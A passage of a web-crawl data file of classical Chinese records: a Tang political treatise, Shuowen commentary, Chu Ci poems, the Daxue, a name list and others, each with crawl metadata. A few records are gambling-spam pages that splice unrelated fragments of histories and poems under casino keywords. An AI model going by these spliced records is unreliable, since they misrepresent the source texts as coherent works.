以假於人。其是之謂歟。\n真偽第八[编辑]\n夫主上不能獨化也,必資賢輔;物心不為易治也,方俟甄議。使夫小人退野,君子居朝,然後可為得矣。然則善惡相生,是非交蹂,形彰而影附,脣竭而齒寒。苟有其真,不能無其偽也。是以歷代帝王統御家國,莫不側身馳心以恭,英又及所封授,則猶是愚小莫不攘臂切齒以疾;姦佞及所誅逐,則謬加賢良。此有識者之所嗟痛也。夫山鸚無靈,買之者謂之鳳;野麟嘉瑞,傷之者謂之庸。然麟鳳有圖,唐鸚無識,猶復以真為偽,以偽為真,況忠逆之情,靜躁之性。愚靖者類直,智狂者類賢;潔己者不能同人,犯顏者短於性主。情狀無形象可見,心慮非視聽所知,欲使銀鉛不雜,淄澠殊味,其有得者亦萬代之一遇也。是以昊用宰豁致戮於子胥,魯退仲尼委政於季氏,秦誅白起以舉應侯,趙信郭開殺李牧,卞和獻玉反遇楚刑,北郭吹竽濫食齊祿。若斯之類皇繁有徒然,則所是不必真,所非不必偽也。故真偽之際,有數術焉,不可不察也。何者。夫眾之所譽者,不可必謂其善也;眾之所毀者,不可必謂其惡也。我之所親者,不可必謂其賢也;我之所疏者,不可必謂其鄙也。何以明言。昔堯理洪水,伯鯀為眾所舉而洪水莫除;魏伐中山,樂羊為眾所慢而中山卒拔。鄧通延夢於漢主而非傅說之才,屈原見逐於楚王而無共工之罪。此則眾議不必是,獨見未為得也。是故明主疇咨在位,詳省己慮,先難而後易,考著以究微,使夫登用者不愧其賞,有罪者不逃其責,然後可為當矣。然則良馬驗之於馳驟,則駑駿可分,不藉孫陽之舉也;柔刃徵之於斷割,則利鈍可見,不勞風胡之談也。苟有難知之人,試之以任事,則真偽自辨,以塞天下之訟也。故先王之用人也,遠使之而觀其忠節,近使之而察其敬勤,令之以謀可識其智慮,煩之以務足見其材能,雜之以居視以貞濫,委之以利詳以貪廉困窮,要之以仁危難思之以信,尋其行而探其性,聽其辭而別其情,盡呂尚之八徵,驗皋陶之九德。然後素絲皆染,白璧投泥而不渝,黃葉並彫,青松凌霜而獨秀,則偽者去而真者得矣。故孔子曰:眾善者必察焉,眾惡者必察焉。其是之謂乎。\n同異第九[编辑]\n夫同聲相應,同氣相求。雖虎異谷風,虎嘯而谷風起;蛇非山霧,蛇踴而山霧興,理所同耳。夫異類殊群,異情同行,雖蛤因雀化而蛤不與雀遊,鴛自鼠為而鴛不與鼠匹,理所異耳。然父子兄弟非不親矣,其心未必同,君臣朋友非不疏矣,其心未必異。故瞽叟愚而重華聖,盜蹺貪而柳下廉,劉季困而紀信焚,伯桃餓而角哀死。亦猶煙灰同出,飛沉自分;膠漆異生,而堅固相守也。然則情性不等,同異難并。大《易》雖云:同人於門。三爻復云:伏戎於莽。此則於同不能無異也。故有面同而心不同者,有外異而內不異者,有始同而終異者,有初異而末同者,有彼不同我而我與之同者,有彼不異我而我與之異者。何以明之。昔者陳平面向呂后,而心歸劉氏;程嬰外逆孫臼,而內存趙孤;張耳、陳餘始則刎頸之交,終構參商之隙;夷吾、小白初有射鉤之怨,末為魚水之歡;田氏懷誑義於齊君,齊君彌信;亞父盡至忠於項羽,項羽益疑,是則同異之心不可以。二而測也。是故明者徐視而審聽,高居而遠望也。隨時之宜,唯變所適,因其可同而與之同矣,因其可異而與之異矣。故衛青堅耳,漢武委之以軍旅;由余虜耳,秦穆授之以國政。夫以衛青、由余敵於秦漢非不疏矣,猶知可同而同之,況於父子兄弟之親而有可同者乎。且管叔兄耳,姬旦誅之以極刑;石厚子矣,石錯死之以大義也。夫以管叔、石厚比於旦錯非不親矣,猶知可異而異之,況乎君臣朋友之疏而有可同者乎。故能同異者為福,不能同異者為禍。虞舜能同八元,能異四罪,永垂聖哲之名;殷紂不同三仁,不異二臣,故取敗亡之辱。是則同異之際,不可失其微妙也。故孔子曰:見幾而作,不俟終曰。其是之謂歟。\n愛憎第十[编辑]\n夫日之明也,無幽不燭,蓋之以重雲則光輝莫睹;水之鑑也,有來而斯應,混之以糝土則影像俱滅。夫以水曰之明鑑失其常然者,豈不以雲土之異移其性乎。是則人有神智之察非不靈矣,徒以內存愛尚之情,外挾憎忿之事,則是非得失不能不惑焉。何以明之。昔重華孝矣,瞽叟病之,親行不義;寤生賢矣,武姜惡之,自構其亂;鶴乃賤矣,衛君重之,載以華軒;馬則微矣,楚王好之,衣以文繡。夫以骨肉相親固無間矣,而猶憎之,禽畜類別誠於分矣,而猶愛之。況乎明君信臣不如父母之信子,邪士媚於主巧於鶴馬之媚,人而無愛憎之迷者蓋亦寡矣。是故汲黯、袁盎以忠諫而屢出,籍孺、韓嫣以佞倖而益重,孫通諛言而受賞,賈誼切直而見疏。甚矣哉,愛憎之惑人也如此。若夫忠臣之事君也,面諍君之惡方,欲成君之美,而君反以為憎己也。佞人之事主也,面諛主之善方,反長主之過,而主反以為愛己也。殊不知聞惡而遷善永為有道之君,悅善而忘惡長為不義之主。是則致君於有道者,豈得不為大愛乎。陷主於不義者,豈得不為大憎乎。而主不原忠諂之情,輕肆向背之志,以為愛己者己亦愛之,則寵光加於三族;以為憎己者己亦憎之,則夷滅被於五宗,遂使剖心刎頸之誠棄而莫用,舐痔吮癱之類擢以殊級。且夫賞以勸善,名以爵賢,使天下不肖者有名,無功者受賞,則何以勸天下乎;法以禁非,刑以懲惡,使夫懷忠者坐法,行直者遇刑,則何以禁天下乎。是以漢憎雍齒,張良以為可封;隋寵少師,伯比以為可伐。何則,有功者害,適為不祥,無德是親,自\n……\n缺文\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%A4%AA%E5%B9%B3%E5%85%A9%E5%90%8C%E6%9B%B8","date":"2017-12-18T09:06:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948612570.86\/warc\/CC-MAIN-20171218083356-20171218105356-00092.warc.gz","language":"lzh","language_score":0.442153275,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.44215327501296997, \"cmn_Hani_score\": 0.3806600570678711, \"nan_Hani_score\": 0.07100839912891388, \"wuu_Hani_score\": 0.02581554837524891, \"zxx_Latn_score\": 0.012454199604690075}","num_words":29,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":500.0,"cluster_detection":1} +{"text":"為人處世,首重道德,有道德者,品德清高,人人敬之。修道者更為重要,若不重視道德,則不得入道門也。\n孟子曰:惻隱之心 仁之端也\n羞惡之心 義之端也\n辭讓之心 禮之端也\n是非之心 智之端也\n人必須清心寡慾,內心必存敬愛之心,外表必守禮貌之行,自能文質彬彬,身安神健,心靜性朗,善根可種,必受人之敬重也。\n三毒-貪 嗔 痴\n處世若能知足,自能常樂。蓋知足者,不貪不取,守己安份也。更能隱人之惡,揚人之善,自不結怨於人;既不結怨,自無仇敵,無憂無慮,心安理得,必享天年,長生不老也。\n道德經:罪莫大於可欲 禍莫大於不知足\n咎莫大於欲得 故知足之足 常足矣\n不知隱人之惡,一味以揭發他人之短為樂趣而拂理妄為,將危及其身;微則傷身,重則傷命;此乃不知隱人之惡之害也。所以處世待人,應以隱惡揚善為本,自有人緣而得人和也。\n詩曰:為人處世必謙和\n知足無貪樂事多\n隱惡揚善難結怨\n心安理得德堪歌","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/boktakhk.pixnet.net\/blog\/category\/1419494","date":"2018-01-18T17:44:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887535.40\/warc\/CC-MAIN-20180118171050-20180118191050-00792.warc.gz","language":"lzh","language_score":0.4207633138,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4207633137702942, \"cmn_Hani_score\": 0.4165782034397125, \"nan_Hani_score\": 0.1291661262512207, \"yue_Hani_score\": 0.01966409757733345, \"wuu_Hani_score\": 0.0114017054438591}","num_words":24,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.578,"perplexity_score":500.0,"cluster_detection":1} +{"text":"淮南地跨淮河两岸,自然风光神奇秀美,历史文化积淀深厚。\n想去0\n去过0\n合肥导游 芜湖导游 蚌埠导游 马鞍山导游 淮北导游 铜陵导游 安庆导游 黄山导游 滁州导游 阜阳导游 宿州导游 巢湖导游 六安导游 亳州导游 池州导游 宣城导游","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/huainan.cncn.com\/daoyou\/","date":"2018-07-17T05:20:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589573.27\/warc\/CC-MAIN-20180717051134-20180717071134-00373.warc.gz","language":"lzh","language_score":0.4842346311,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.48423463106155396, \"cmn_Hani_score\": 0.34726783633232117, \"yue_Hani_score\": 0.10203324258327484, \"nan_Hani_score\": 0.054437968879938126, \"wuu_Hani_score\": 0.011002355255186558}","num_words":19,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.507,"perplexity_score":500.0,"cluster_detection":1} +{"text":"說文小篆\n字頭\n释義\n施身自謂也。不但云自謂而云施身自謂者、取施與我古爲㬪韵。施讀施捨之施。謂用己廁於衆中、而自稱則爲我也。施者、旗貌也。引申爲施捨者、取義於旗流下𠂹也。釋詁曰。卬吾台予朕身甫余言我也。又曰。朕子躬身也。又曰。台朕賚畀⺊陽予也。或以賚畀卜予不同義。愚謂有我則必及人。故賚畀卜亦在施身自謂之內也。口部曰。吾、我自稱也。女部曰。姎、女人自稱姎我也。毛詩傳曰。言、我也。卬、我也。論語二句而我吾互用。毛詩一句而卬我襍稱。葢同一我義而語音輕重緩急不同。施之於文若自其口出。或說我、逗。頃頓也。謂順側也。頃、頭不正也。頓、下首也。故引申爲頃側之意。賓筵。側弁之俄。箋云。俄、傾貌。人部曰。俄、頃也。然則古文以我爲俄也。古文叚借如此。从戈𠄒。合二成字不能定其會意形聲者、以𠄒字不定爲何字也。五可切。十七部。𠄒、古文𡍮也。𡍮當作𠂹。𠂹𡍮在十七部。然則我以爲形聲也。一曰古文殺字。我从殺、則非形聲。會意亦難說也。殺篆下載古文三。有一略相似者。凡我之屬皆从我。\n己之威義也。言己者、以字之从我也。己、中宮。象人腹。故謂身曰己。義各本作儀。今正。古者威儀字作義。今仁義字用之。儀者、度也。今威儀字用之。誼者、人所宜也。今情誼字用之。鄭司農注周禮肆師。古者書儀但爲義。今時所謂義爲誼。是謂義爲古文威儀字。誼爲古文仁義字。故許各仍古訓。而訓儀爲度。凡儀象、儀匹、引申於此。非威儀字也。古經轉寫旣久。肴襍難辨。據鄭、許之言可以知其意。威義古分言之者、如北宮文子云有威而可畏謂之威、有儀而可象謂之義、詩言令義令色、無非無義是也。威義連文不分者、則隨處而是。但今無不作儀矣。毛詩。威義棣棣。不可選也。傳曰。君子望之儼然可畏。禮容俯仰各有宜耳。棣棣、富而閒習也。不可選、物有其容不可數也。義之本訓謂禮容各得其宜。禮容得宜則善矣。故文王、我將毛傳皆曰。義、善也。引申之訓也。从我。从羊。威儀岀於己、故从我。董子曰。仁者、人也。義者、我也。謂仁必及人。義必由中𣃔制也。从羊者、與善美同意。宜寄切。古音在十七部。","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/ccamc.co\/cjkv_shuowen.php?juan=%E5%8D%B7%E5%8D%81%E4%BA%8C&bushou=%E6%88%91%E9%83%A8","date":"2019-06-19T23:16:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999066.12\/warc\/CC-MAIN-20190619224436-20190620010436-00061.warc.gz","language":"lzh","language_score":0.4416722357,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.4416722357273102, \"cmn_Hani_score\": 0.12717923521995544, \"zxx_Latn_score\": 0.06866246461868286, \"jpn_Jpan_score\": 0.03084270842373371, \"und_Tang_score\": 0.028307057917118073, \"nan_Hani_score\": 0.02701992355287075, \"und_Hira_score\": 0.019114121794700623, \"und_Xsux_score\": 0.018923595547676086, \"wuu_Hani_score\": 0.016849977895617485, \"und_Cans_score\": 0.015785906463861465, \"und_Cyrl_score\": 0.013010400347411633, \"und_Yiii_score\": 0.011453051120042801, \"und_Ethi_score\": 0.010826646350324154, \"und_Grek_score\": 0.010778771713376045}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.442,"perplexity_score":500.0,"cluster_detection":1} +{"text":"愛直贈李君房別\n左右前後皆正人也,欲其身之不正,烏可得邪?吾觀李生在南陽公之側,有所不知,知之未嚐不為之思;有所不疑,疑之未嚐不為之言;勇不動於氣,義不陳乎色。南陽公舉措施為不失其宜,天下之所以窺觀稱道洋洋者,抑亦左右前後有其人乎!凡在此趨公之庭,議公之事者,吾既從而遊矣。言而公信之者,謀而公從之者,四方之人則既聞而知之矣。李生,南陽公之甥也。人不知者,將曰:李生之托婚於貴富之家,將以充其所求而止耳。故吾樂為天下道其為人焉。今之從事於彼也,吾為南陽公愛之;又未知人之舉李生於彼者何辭,彼之所以待李生者何道。舉不失辭,待不失道,雖失之此足愛惜,而得之彼為歡忻,於李生道猶若也。舉之不以吾所稱,待之不以吾所期,李生之言不可出諸其口矣。吾重為天下惜之。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%84%9B%E7%9B%B4%E8%B4%88%E6%9D%8E%E5%90%9B%E6%88%BF%E5%88%A5","date":"2019-11-20T11:44:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670558.91\/warc\/CC-MAIN-20191120111249-20191120135249-00245.warc.gz","language":"lzh","language_score":0.5203656554,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5203656554222107, \"cmn_Hani_score\": 0.35886725783348083, \"nan_Hani_score\": 0.07897922396659851, \"wuu_Hani_score\": 0.011719487607479095}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":500.0,"cluster_detection":1} +{"text":"大学之道,在明明德,在亲民,在止于至善。知止而后有定;定而后能静;静而后能安;安而后能虑;虑而后能得。物有本末,事有终始。知所先后,则近道矣。古之欲明明德于天下者,先治其国;欲治其国者,先齐其家;欲齐其家者,先修其身;欲修其身者,先正其心;欲正其心者,先诚其意;欲诚其意者,先致其知;致知在格物。物格而后知至;知至而后意诚;意诚而后心正;心正而后身修;身修而后家齐;家齐而后国治;国治而后天下平。自天子以至于庶人,壹是皆以修身为本。其本乱而末治者否矣。其所厚者薄,而其所薄者厚,未之有也!\n相关阅读:澳门新濠天地","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/jinshengdl.com\/jituanyewu\/2019\/1109\/969.html","date":"2019-12-10T23:46:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540529516.84\/warc\/CC-MAIN-20191210233444-20191211021444-00201.warc.gz","language":"lzh","language_score":0.5187751055,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5187751054763794, \"cmn_Hani_score\": 0.42128947377204895, \"nan_Hani_score\": 0.026018474251031876, \"wuu_Hani_score\": 0.015506518073379993}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.562,"perplexity_score":500.0,"cluster_detection":1} +{"text":"乘鄂渚而反顧兮,欸秋冬之緒風。步余馬兮山皋,邸余車兮方林。乘舲船余上沅兮,齊吳榜以擊汰。船容與而不進兮,淹回水而疑滯。朝發枉渚兮,夕宿辰陽。苟余心其端直兮,雖僻遠之何傷!\n入漵浦余儃佪兮,迷不知吾所如。深林杳以冥冥兮,猿狖之所居。山峻高以蔽日兮,下幽晦以多雨。霰雪紛其無垠兮,雲霏霏而承宇。哀吾生之無樂兮,幽獨處乎山中。吾不能變心而從俗兮,固將愁苦而終窮!\n接輿髡首兮,桑扈臝行。忠不必用兮,賢不必以。伍子逢殃兮,比干菹醢。與前世而皆然兮,吾又何怨乎今之人?余將董道而不豫兮,固將重昏而終身!\n亂曰:鸞鳥鳳皇,日以遠兮。燕雀烏鵲,巢堂壇兮。露申辛夷,死林薄兮。腥臊並御,芳不得薄兮。陰陽易位,時不當兮。懷信侘傺,忽乎吾將行兮。","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.twword.com\/wiki\/%E3%80%8A%E6%A5%9A%E8%BE%AD%C2%B7%E5%B1%88%E5%8E%9F%C2%B7%E6%B6%89%E6%B1%9F%E3%80%8B","date":"2020-01-20T14:41:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250598800.30\/warc\/CC-MAIN-20200120135447-20200120164447-00543.warc.gz","language":"lzh","language_score":0.8157889247,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.8157889246940613, \"nan_Hani_score\": 0.06261136382818222, \"cmn_Hani_score\": 0.05136854574084282, \"yue_Hani_score\": 0.017521530389785767, \"jpn_Jpan_score\": 0.010665175504982471}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.344,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n江素梅 江嘉玉 江家玉 江佳文 江俐萍 江秋萍 江涵雪 江韵雪 江裴裴 江姿蓉 江姿莹 江悦坤 江可瑛 江玉燕 江芷茹 江芷玲 江运梅 江婧然 江姝莹 江连琴 江雨琳 江美琼 江大红 江沁洁 江凌霞 江锡娜 江共英 江月瑶 江绍文 江景红 江景玉 江榕颖 江少燕 江丹玲 江丹娜 江鑫瑛 江鑫颖 江鑫妍 江晓娥 江菊英 江姣萍 江燕军 江姝娜 江姝妍 江怡凡 江坤艳 江李媛 江闽娟 江慧洁 江颖妍 江怡露 江琳娟 江慧梅 江再丽 江卫琴 江会琼 江琴玲 江会玲 江琴君 江小娥 江美瑶 江婉琳 江景文 江婉玲 江理美 江树文 江净洁 江昱颖 江姝瑶 江超颖 江萍珍 江月红 江茹寿 江美芬 江然婷 江琳兰 江雯娜 江运红 江占英 江雯悦 江冉冉 江永梅 江琬茹 江沁芳 江双燕 江杭燕 江一茹 江与茹 江屿茹 江于茹 江珠花 江尚蓉 江桥芳 江健妹 江思洁 江叔芳 江裴人 江煜洁 江捷怡 江慧琳 江少茹 江碧婵 江茹辔 江茹妃 江敏玉 江晨玉 江娜靓 江国莹 江风莹 江红红 江冬琴 江凤雪 江国颖 江国瑛 江怡华 江淑梅 江海颖 江煊燕 江山雪 江琳蕾 江琳霞 江琳莉 江琳娜 江淑红 江雨瑶 江忻瑶 江心瑶 江弘瑶 江煜倩 江怡曼 江怡蔓 江君文 江慧霞 江务媛 江春莹 江桂莹 江晨莹 江柏莹 江渝婷 江燕星 江芸丽 江芸莉 江延红 江碧燕 江燕娜 江艳娜 江晓琼 江李梅 江彬文 江里梅 江琳芷 江琳芝 江琳孜 江玲孜 江显红 江书红 江婧秀 江玲荟 江沛怡 江述娟 江月丽 江月文 江雅萍 江玮颖 江慧婷 江禹裴 江鹭芳 江娅萍 江新燕 江孺裴 江滨英 江茹斐 江茹蜚 江茹霏 江艾琳 江艾玲 江心媛 江中媛 江玉美 江怡荞 江天颖 江秋英 江少娥 江妍萦 江妍憬 江妍憧 江妍蒽 江妍蓓 江妍梦 江玲韬 江妍爽 江妍腧 江妍娜 江妍颖 江妍霜 江妍谆 江叶瑶 江秀媛 江驾文 江致文 江煜莹 江睿怡 江雯莉 江天娜 江曦琴 江衣文 江颀倩 江忠霞 江丹媛 江禺玉 江雨茹 江予茹 江语茹 江禺裴 江婉霞 江林洁 江婧怡 江蒂娜 江珏蓉 江梦英 江梦颖 江欣萍 江卡娜 江瑜悦 江萍英 江咏雪 江爱玉 江诗怡 江娜希 江娜梦 江花萍 江勇丽 江琳艺 江玲裔 江堤娜 江格琳 江予婷 江莲花 江俊美 江玉莹 江茹跃 江琳嘉 江依娜 江泽玉 江祉蓉 江芳芳 江健怡 江悦维 江锦芳 江锦霞 江少怡 江天悦 江林萍 江如婷 江贞瑶 江懿雪 江凝雪 江佩琼 江佩霞 江逸雪 江茹芸 江采文 江纪红 江少琴 江嫣姬 江伟婷 江隆怡 江颖娟 江淑媛 江飞燕 江秀莹 江嘉颖 江金娥 江玲熠 江籼霞 江俊英 江光艳 江昊雪 江瑶珍 江映蓉 江庆霞 江怡美 江艺美 江燕姬 江君茹 江妁婵 江君芳 江一英 江新茹 江新颖 江玉萍 江靓丽 江亮莉 江松英 江道媛 江妞 江昱倩 江伟丽 江明玲 江明莹","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/ssqm.com\/show_Q3AA.aspx","date":"2020-02-19T04:25:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144027.33\/warc\/CC-MAIN-20200219030731-20200219060731-00419.warc.gz","language":"lzh","language_score":0.8541066051,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.854106605052948, \"jpn_Jpan_score\": 0.06827966123819351, \"nan_Hani_score\": 0.055513687431812286, \"cmn_Hani_score\": 0.016472594812512398}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.856,"perplexity_score":500.0,"cluster_detection":1} +{"text":"糖果派对吧新西兰一男子超市里自拍故意对其他顾客咳嗽被捕\n十二年冬,齐顷公如晋,欲上尊晋景公为王,景公让不敢。晋始作六军,韩厥、巩朔、赵穿、荀骓、\n河南矫制,自古称贤。淮南卧理,天子伏焉。积薪兴叹,伉直愈坚。郑庄推士,天下翕然。交道势利,翟公怆旃。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空\n顷之,太子与梁王共车入朝,不下司马门,於是释之追止太子、梁王无得入殿门。遂劾不下公门不敬,奏之。薄太后闻之,文帝免冠谢曰:\"教兒子不谨。\"薄太后乃使使承诏赦太子、梁王,然后得入。文帝由是奇释之,拜为中大夫。\n\"初一曰五行;二曰五事;三曰八政;四曰五纪;五曰皇极;六曰三德;七曰稽疑;八曰庶徵;九曰乡用五福,畏用六极。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.dxhsl.com\/ZTOGE32105.html","date":"2020-04-06T14:25:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371637684.76\/warc\/CC-MAIN-20200406133533-20200406164033-00126.warc.gz","language":"lzh","language_score":0.4220692515,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.422069251537323, \"cmn_Hani_score\": 0.39108577370643616, \"nan_Hani_score\": 0.03170640021562576, \"und_Tang_score\": 0.01863613910973072, \"zxx_Latn_score\": 0.015733767300844193, \"yue_Hani_score\": 0.014198314398527145, \"wuu_Hani_score\": 0.014178519137203693, \"jpn_Jpan_score\": 0.013575959950685501}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.514,"perplexity_score":500.0,"cluster_detection":1} +{"text":"哀郢\n皇天之不纯命兮,何百姓之震愆。民离散而相失兮,方仲春而东迁。去故乡而就远兮,遵江夏以流亡。出国门而轸怀兮,甲之朝吾以行。发郢都而去闾兮,怊荒忽之焉极。楫齐杨以容与兮,哀见君而不再得。望长楸而太息兮,涕淫淫其若霰。过夏首而西浮兮,顾龙门而不见。心婵媛而伤怀兮,眇不知其所蹠。顺风波以从流兮,焉洋洋而为客。凌阳侯之泛滥兮,忽翱翔之焉薄。心絓结而不解兮,思蹇产而不释。将运舟而下浮兮,上洞庭而下江。去终古之所居兮,今逍遥而来东。羌灵魂之欲归兮,何须臾而忘反。背夏浦而西思兮,哀故都之日远。登大坟以远望兮,聊以舒吾忧心。哀州土之平乐兮,悲江介之遗风。当陵阳之焉至兮,淼南渡之焉如。曾不知夏之为丘兮,孰两东门之可芜。心不怡之长久兮,忧与愁其相接。惟郢路之辽远兮,江与夏之不可涉。忽若去不信兮,至今九年而不复。惨郁郁而不通兮,蹇侘傺而含戚。外承欢之汋约兮,谌荏弱而难持。忠湛湛而愿进兮,妒被离而障之。尧舜之抗行兮,瞭杳杳而薄天。众谗人之嫉妒兮,被以不慈之伪名。憎愠惀之修美兮,好夫人之慷慨。众踥蹀而日进兮,美超远而逾迈。乱曰:曼余目以流观兮,冀一反之何时。鸟飞反故乡兮,狐死必首丘。信非吾罪而弃逐兮,何日夜而忘之。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/poetry.wenhuagogo.com\/8","date":"2020-04-08T23:42:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371826355.84\/warc\/CC-MAIN-20200408233313-20200409023813-00168.warc.gz","language":"lzh","language_score":0.6851765513,"language_script":"Hani","minhash_cluster_size":22,"top_langs":"{\"lzh_Hani_score\": 0.6851765513420105, \"zxx_Latn_score\": 0.04096413403749466, \"und_Xsux_score\": 0.03488868474960327, \"nan_Hani_score\": 0.026519013568758965, \"und_Tang_score\": 0.022432958707213402, \"cmn_Hani_score\": 0.014543621800839901, \"und_Cans_score\": 0.012740329839289188, \"und_Egyp_score\": 0.011536204256117344}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.238,"perplexity_score":500.0,"cluster_detection":1} +{"text":"线上电玩城规模倒退业绩糟糕景瑞控股高息发债应对危机\n子曰:\"无为而治者其舜也与!夫何为哉?恭己正南面而已矣。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n其後五年,复至泰山脩封,还过祭常山。\n蔡仲卒,子蔡伯荒立。蔡伯荒卒,子宫侯立。宫侯卒,子厉侯立。厉侯卒,子武侯立。武侯之时,周厉王失国,奔彘,共和行政,诸侯多叛周。\n天子既已封泰山,无风雨灾,而方士更言蓬莱诸神若将可得,於是上欣然庶几遇之,乃复东至海上望,冀遇蓬莱焉。奉车子侯暴病,一日死。上乃遂去,并海上,北至碣石,巡自辽西,历北边至九原。五月,反至甘泉。有司言宝鼎出为元鼎,以今年为元封元年。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/3g.80houbbs.com\/Meizu\/IBGJG39265.html","date":"2020-04-07T19:52:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371805747.72\/warc\/CC-MAIN-20200407183818-20200407214318-00208.warc.gz","language":"lzh","language_score":0.5121666789,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5121666789054871, \"cmn_Hani_score\": 0.2825038731098175, \"nan_Hani_score\": 0.10755424946546555, \"wuu_Hani_score\": 0.02391313575208187, \"yue_Hani_score\": 0.02033848688006401, \"jpn_Jpan_score\": 0.011100196279585361}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} 